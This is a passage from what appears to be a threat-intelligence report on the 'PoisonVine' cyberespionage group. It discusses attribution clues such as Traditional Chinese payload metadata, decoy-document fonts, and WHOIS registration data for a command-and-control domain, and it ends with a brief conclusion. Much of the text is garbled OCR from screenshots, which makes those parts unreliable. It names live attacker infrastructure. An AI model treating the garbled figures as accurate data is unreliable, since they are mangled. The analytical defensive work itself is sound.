“lbbat 78 76 Windows Batch F... 2000/1/14 13:56 SEDSDC...
Cserver.exe 72,784 0,003 Application 2008/1/14 15:11 7560CCT0
¢ | EEEEmERN T ppsx BiE 2
mm |=e | EEEE | L

B I} o

Eom i) FPowerFoint B3R =

ES- ]

2ea =

B3

=B

1'15% IS b

BE—KETE dark

Eil= Z

E=

ﬁﬁ%ﬁi Microsoft Office PowerPoint

N

Elfd

AN ERRTE 2014/9/3 13:02

BE—rITFERIEE 201479712 13:13

B fE—KFTENRtE

SimiERTiE 00:05: 00 il
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[ #wE || BE || EAw
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E zladal, xndd
1 <7?xml version="1.0" encoding="UTF-8" standalone="yes"7>
2 Y T —— - .

a &% . i main"><p: c51ﬂ}<n spTrees<p: avGepSpPry<p :cHvPr id=
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Figure 24: We found several cses of metadata written in Traditional Chinese in payloads.

The default character set in the decoy document is ‘PMingLiU’, which is used most commonly in the Traditional

Chinese-speaking regions. And most of the names of the decoy documents related to cross-strait relations in

China.

Fa | BA DEGR 2B @4 =R 0= —
=y
L] | eMingliu fh— - A A A WAl =-i=-cE im0 ¢ AaBbC AaB AaBb( 4aBbCcl AaBbC
i ; B s U ';R’?'&L = (- 1 BEE - B
L
EhE =ix . BE 5 gt
= v X \\\_
o e R~
| _5 -‘2-" -~ v
[ UEseEskE: . s

TE5aE#RE  FESTEETS
BE% HiT

& E ShEE RIS B — T E S2ER R L 2w T M-

EEMHIZHE SRR NET "I I BuRsiNaEFoiz
— B SEEFRASAFIREAEEEE ST ER VS S4GRT 0 TisRH T
B R EERHTAAF RS EE R G  FERETEEREE CFETE
—HFEEMHEENE - MR AERESHEEEE -

T FEAENREIRGF - PR I EERE-

Figure 25: The default character set in the decoy document is ‘PMingLiU’.

The Whois information for one of the C&C domains (javainfo.upgrinfo.com) is shown in Figure 26. The registrant

address is in Taiwan, New Taipei. And the registrant name may use the Wade—Giles romanization system.
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Kegistry Registrant ID:
Registrant Name: jeng jie
Registrant Organization: taipel
Registrant Street: No.2, Aly. 3, Ln. 12, Fuzhong Kd. Bangiao Dist., New Taipei Cit
y 22065

Taiwan (E.0.C.)

Kegistrant City: New Taipeil
Registrant State/Province: taiwan
Registrant Postal Code: 22055
Registrant Country: TV

Registrant Phone: +B86. 220878685
Registrant Email: comsafe@126.com

Registry Admin ID:

Admin Name: jeng jie

Admin Organization: taipel
Admin Street: No.2, Aly. 3, Ln. 12, Fuzhong Rd. Banqiao Dist., New Taipei City 220
55 Taiwan

(R.0.C.)

Admin City: New Taipei

Admin State/Province: taiwan
Admin Postal Code: 22055
Admin Country: TVW

Admin Phone: +886. 229878685
Admin Email: comsale@ﬂ 26.com

Figure 26: Whois information for javainfo.upgrinfo.com.
Conclusion

Geopolitics is always a major motivation of a cyberespionage threat. Based on the techniques it uses, we believe
that the PoisonVine group isn’t a sophisticated APT group. However, it has been active for 11 years and remains
active. Furthermore, the group’s purpose is to collect intelligence regarding national defence, military,

government, science and technology, education and so on.
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